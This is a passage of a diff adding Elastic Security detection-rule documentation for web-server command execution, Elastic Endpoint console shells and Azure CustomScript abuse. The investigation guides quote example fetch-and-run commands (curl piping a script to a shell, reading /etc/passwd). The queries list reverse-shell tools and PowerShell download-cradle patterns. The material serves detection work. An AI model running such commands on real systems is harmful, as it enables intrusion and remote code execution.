in ("-batch", "-b")) or (process.args == "exec"))) or + (process.name == "find" and process.args in ("-exec", "-execdir")) or + (process.name in ("bash", "csh", "dash") and process.args in ("-p", "-b")) or + (process.name == "pkexec" and process.args_count == 1) or + (process.name == "nft" and process.args in ("-f", "--file")) or + (process.name == "xargs" and process.args like ("-a", "--arg-file=*")) +) and +not ( + process.parent.name == "spine" or + (process.name == "sysctl" and process.args == "-n") or + process.parent.executable in ( + "/usr/NX/bin/nxexec", "/opt/andrisoft/bin/WANmaintenance", "/usr/lib/vmware/bin/vmware-vmx", + "/usr/bin/pamprivilegechange", "/usr/lib/hyper-v/bin/hv_kvp_daemon" + ) or + process.parent.command_line in ("runc init", "/opt/bitdefender-security-tools/bin/auctl") or + process.args like ("/usr/bin/snmpwalk*", "/usr/bin/snmpbulkwalk*", "/usr/bin/snmpget*") or + process.executable like ("/home/*/agent/*/bin/job-processor", "/u0?/install/APPS/*/webtier/ohs/bin/.apachectl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-shell-execution-via-elastic-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-shell-execution-via-elastic-endpoint.asciidoc new file mode 100644 index 0000000000..677dd5aece --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-shell-execution-via-elastic-endpoint.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-28-shell-execution-via-elastic-endpoint]] +=== Shell Execution via Elastic Endpoint + +This rule detects shell executions via Elastic Endpoint. Elastic Endpoint has a built-in response action console that can be used to execute shell commands on compromised systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Execution via Elastic Endpoint* + + +This rule catches Linux shell sessions launched through the endpoint response console, which matters because that channel can turn a legitimate remote support feature into attacker-controlled command execution on a compromised host. An intruder who hijacks console access might run `bash -c 'curl -fsSL http://x/p.sh | sh'` to fetch and execute a script, establish persistence, or quietly stage follow-on tooling. + + +*Possible investigation steps* + + +- Correlate the alert with Elastic Security response-action or audit records to identify who initiated the console session, the exact command issued, the authentication method used, and whether it matches an approved ticket or incident workflow. +- Reconstruct the shell activity from the process tree, command line, and execution context to determine what the command attempted, whether it ran with elevated privileges, and which follow-on processes it launched. +- Review immediate post-execution host activity for signs of impact such as outbound connections, downloaded scripts or binaries, new cron or systemd persistence, modified startup files, archive creation, or credential-access tooling. +- Check surrounding host telemetry and related detections to understand why the console may have been used, including recent malware findings, host isolation or release actions, suspicious logins, and lateral movement indicators near the same time. +- Scope the initiating user, role, or API key for other response-console actions or unusual administrative behavior across the environment, and if the activity is not authorized, preserve command output and isolate the host while access is revoked. + + +*False positive analysis* + + +- An authorized analyst may use the Elastic Endpoint response console to run a one-line shell command for triage or remediation on a Linux host; confirm the action matches a documented case or approved response record and that the issuing user and time are expected. +- During incident validation or recovery, a responder may execute shell commands through Elastic Endpoint to collect system state or verify a remediation step; verify the command is consistent with benign administrative checks and that related notes or alerts show an active investigation on the same endpoint. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while keeping responder access, terminate any still-running shell or child processes spawned from the Elastic Endpoint console, and block any observed command-and-control destinations or file-download URLs the session contacted. +- Revoke the unauthorized operator’s access by disabling the associated Elastic account or API key, expiring active sessions, rotating any credentials exposed on the host, and preserving the console command history, shell output, and copied scripts for incident evidence. +- Remove attacker footholds by deleting unauthorized cron entries in `/etc/cron*` and user crontabs, rogue systemd units under `/etc/systemd/system` or `/usr/lib/systemd/system`, malicious additions to `~/.bashrc` or `/etc/profile`, altered `authorized_keys`, and any downloaded payloads or helper scripts left in directories such as `/tmp` or `/var/tmp`. +- Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline if the shell modified core binaries, package repositories, startup files, or security tooling, and validate that only approved services, users, and scheduled tasks remain before reconnecting it. +- Escalate to the incident response team immediately if the shell session ran as root, created new accounts, accessed secrets or SSH keys, disabled defenses, or issued commands against multiple hosts, and expand scoping to other systems touched by the same operator, account, or downloaded tooling. +- Harden the environment by restricting response-console permissions to a small approved group, enforcing MFA and strong session controls for Elastic administration, alerting on shell launches and persistence paths, and tightening Linux egress and application controls so future console abuse cannot fetch tools or execute arbitrary scripts. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and +process.parent.executable == "/opt/Elastic/Endpoint/elastic-endpoint" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.args in ("-c", "-cl", "-lc", "--command") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..b6d5da057a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-execution-via-web-server.asciidoc @@ -0,0 +1,333 @@ +[[prebuilt-rule-8-19-28-suspicious-child-execution-via-web-server]] +=== Suspicious Child Execution via Web Server + +Identifies suspicious child processes executed via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/tag/web-shell/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Execution via Web Server* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a malicious script, often embedded into a compromised web server, that grants an attacker remote access and control over the server. This enables the execution of arbitrary commands, data exfiltration, and further exploitation of the target network. + +This rule detects a web server process spawning script and command line interface programs, potentially indicating attackers executing commands using the web shell. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors by the subject process such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Investigate the process information for malicious or uncommon processes/process trees. + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} + - Investigate the process tree spawned from the user that is used to run the web application service. A user that is running a web application should not spawn other child processes. + - !{osquery{"label":"Osquery - Retrieve Process Info for Webapp User","query":"SELECT name, cmdline, parent, path, uid FROM processes WHERE uid = {{process.user.id}}"}} +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + ?process.working_directory like "/u0?/*" + ) + ) +) and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", "*.bin", "*.jar", "*.mjs", + + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional", + + // Cloud CLI + "az", "gcloud", "aws", "kubectl", "helm", "docker", "ctr", "crictl", + + // Misc. tools + "whoami", "ifconfig", "ip", "ss", "top", "htop", "du", "lsblk", "lsof", "tcpdump", + "strace", "ltrace", "curl", "wget", "dig", "nslookup", "host", "nmap", "arp", "traceroute", + "cat", "touch", "mv", "rm", "mkdir", "ln", "chmod", "sudo", "xxd", "base64", "basez", + "base64plain", "base64url", "base64mime", "base64pem", "basenc", "base32", "base16", "chpasswd", + "passwd" + ) +) and +not ( + ( + process.parent.name == "java" and + process.executable like ("/tmp/CVU_*/exectask*", "/u01/app/*/bin/crsctl.bin", "/u01/app/*/bin/olsnodes.bin") + ) or + process.working_directory like ("/u01/*/sysman/emd", "/run/systemd/mount-rootfs") or + ( + process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and + process.command_line like ( + "chmod -R g+w /var/opt/morpheus/morpheus-local/repo/git/*", + "sudo -S -u morpheus-local*" + ) + ) or + ( + process.parent.command_line == "/bin/sh /etc/init.d/nginx rotate" and + process.name == "cat" + ) or + ( + process.parent.name == "asterisk" and + process.executable like ( + "/var/www/html/dialapplet-web/agi/*.php", "/var/lib/asterisk/bin/faxnotify.php" + ) + ) or + ( + process.parent.executable == "/home/jiraContractor/jira.install/jre/bin/java" and + process.executable == "/home/jiraContractor/jira.install/jre/lib/jspawnhelper" + ) or + process.parent.args like "/home/agent/Claude/*" or + (process.parent.executable == "/usr/lib/jvm/java-21-openjdk/bin/java" and process.name == "ln") or + ( + process.parent.name == "java" and + process.name == "chmod" and + process.command_line like ("chmod 00660 /etc/pki/*", "*/u01/app/*") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc new file mode 100644 index 0000000000..ef0456cbc9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-28-suspicious-child-process-via-azure-vm-customscript-extension]] +=== Suspicious Child Process via Azure VM CustomScript Extension + +Identifies a suspicious process executing as a descendant of the Azure VM CustomScript extension handler (CustomScriptHandler.exe) on a Windows host. The Azure CustomScript extension runs an attacker-supplied script with high privilege (SYSTEM) via the guest agent, and is a common cloud-to-host code-execution and persistence primitive. Because the extension's resource name is attacker-controlled and absent from on-host telemetry, this rule anchors on the type-bearing handler binary ('Microsoft.Compute.CustomScriptExtension\...\CustomScriptHandler.exe') rather than the spoofable extension name, making it resistant to renaming. CustomScript legitimately launches PowerShell and cmd, so the rule fires only when the descendant is an execution-proxy, download, or discovery LOLBin, or PowerShell exhibiting suspicious tradecraft. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Process via Azure VM CustomScript Extension* + + +The Azure CustomScript extension executes a script as SYSTEM via the guest agent. The extension's resource name is +attacker-controlled and not present on the host, so this rule anchors on the handler binary path +(`Microsoft.Compute.CustomScriptExtension\...\CustomScriptHandler.exe`), which is rename-proof, and alerts when a +LOLBin or suspicious PowerShell runs anywhere in its process tree. + + +*Possible investigation steps* + + +- Review the full process tree from `CustomScriptHandler.exe` to the alerting process, including `process.command_line` + and `process.args`. +- Identify the descendant: execution proxies (`mshta`, `regsvr32`, `rundll32`, `installutil`, `msbuild`), download tools + (`certutil`, `bitsadmin`), script hosts (`wscript`, `cscript`), or discovery utilities (`whoami`, `net`, `nltest`, + `wmic`) are not expected children of a benign CustomScript payload. +- Correlate with the control-plane event: a `MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE` in + `logs-azure.activitylogs-*` for this host around the same time, and the acting principal/source behind it. +- Retrieve the extension's settings/protectedSettings from the VM (the activity log does not contain the script body) to + assess intent. +- Pivot on the host for credential access, new local accounts, persistence, or outbound C2 following the execution. +- Review who deployed the extension (Entra sign-in logs and RBAC for the principal in the correlated activity log event). + + +*False positive analysis* + + +- Infrastructure-as-code and configuration-management scripts deployed via CustomScript may legitimately run discovery + utilities (`whoami`, `net`, `nltest`, `systeminfo`, `wmic`, `tasklist`, `arp`) for bootstrap or inventory. If the + activity recurs from known automation, baseline it and exclude by `process.command_line`/`process.args`. +- Software installation and bootstrapping via CustomScript can invoke `msbuild`, `installutil`, `regsvr32`, `regasm`, + `regsvcs`, `certutil`, or `bitsadmin` to build, register, or download legitimate components. Verify the target + file/URL and, if benign, scope the exclusion to the specific command or signed binary rather than the whole LOLBin. +- Legitimate setup scripts (DSC bootstrap, agent installers) may use PowerShell download cradles + (`Invoke-WebRequest`, `DownloadString`, `-EncodedCommand`) against trusted internal or Microsoft endpoints. Confirm + the destination host and content before excluding, and exclude by the specific command line, not by host. +- A known automation principal deploying the extension from expected corporate egress (corroborated by the correlated + `MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE` and an approved change) lowers confidence, but still review the + executed content. Prefer narrow, command- or argument-scoped exclusions over broad host or LOLBin exclusions, since + the same execution chain is exactly what an attacker abuses. + + +*Response and remediation* + + +- If unauthorized, remove the extension, isolate the host, rotate credentials reachable from it, and review RBAC on the affected subscription/resource group. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + /* Azure CustomScript extension handler */ + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "CustomScriptHandler.exe" or + process.executable : "?:\\Packages\\Plugins\\*CustomScript*\\*\\CustomScriptHandler.exe")] by process.entity_id + /* Abused LOLBin / suspicious PowerShell anywhere in its tree */ + [process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("mshta.exe", "regsvr32.exe", "rundll32.exe", "installutil.exe", "msbuild.exe", "regasm.exe", + "regsvcs.exe", "wscript.exe", "cscript.exe", "bitsadmin.exe", "nltest.exe", "whoami.exe", + "net.exe", "net1.exe", "wmic.exe", "systeminfo.exe", "quser.exe", "arp.exe", "tasklist.exe") or + (process.name : "certutil.exe" and process.args : ("*urlcache*", "*-decode*", "*-encode*")) or + (process.name : ("powershell.exe", "pwsh.exe") and + process.command_line : ("*-enc*", "*EncodedCommand*", "*FromBase64String*", "*DownloadString*", "*DownloadFile*", + "*Invoke-Expression*", "*IEX *", "*IEX(*", "*|IEX*", "*-w hidden*", "*WindowStyle Hidden*", + "*Net.WebClient*", "*Invoke-WebRequest*", "*Start-BitsTransfer*")) + )] by process.Ext.ancestry + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-command-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-command-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..36e4af1bbd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-command-execution-via-web-server.asciidoc @@ -0,0 +1,402 @@ +[[prebuilt-rule-8-19-28-suspicious-command-execution-via-web-server]] +=== Suspicious Command Execution via Web Server + +Identifies suspicious command executions via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Execution via Web Server* + + +This alert fires when a Linux web server launches a shell to run commands that look like exploitation activity, such as discovery, credential access, payload decoding, or reverse shell setup. That matters because web servers rarely need to spawn shell commands, so this behavior often signals command injection, a dropped web shell, or attacker persistence. A common pattern is an app exploit causing php-fpm or nginx to run `sh -c 'id; cat /etc/passwd; curl ... | bash'` from `/tmp`. + + +*Possible investigation steps* + + +- Review the full process ancestry and execution context to determine what application component invoked the shell, which service account ran it, what working directory and environment it used, and whether the command aligns with any documented application behavior. +- Correlate the execution time with web server access, error, and application logs to identify the triggering request, including source IP, requested URI, parameters, headers, authenticated user or session, and any indications of command injection or direct web shell access. +- Inspect recently created or modified files in the web root and writable locations such as upload, cache, temp, and shared-memory directories for dropped scripts, encoded payloads, cron changes, SSH key additions, or other persistence artifacts tied to the command. +- Scope for follow-on activity by pivoting on the source IP, command fragments, spawned children, outbound connections, and similar executions on other web servers to determine whether exploitation was successful, repeated, or part of a broader campaign. +- If the activity is unauthorized or cannot 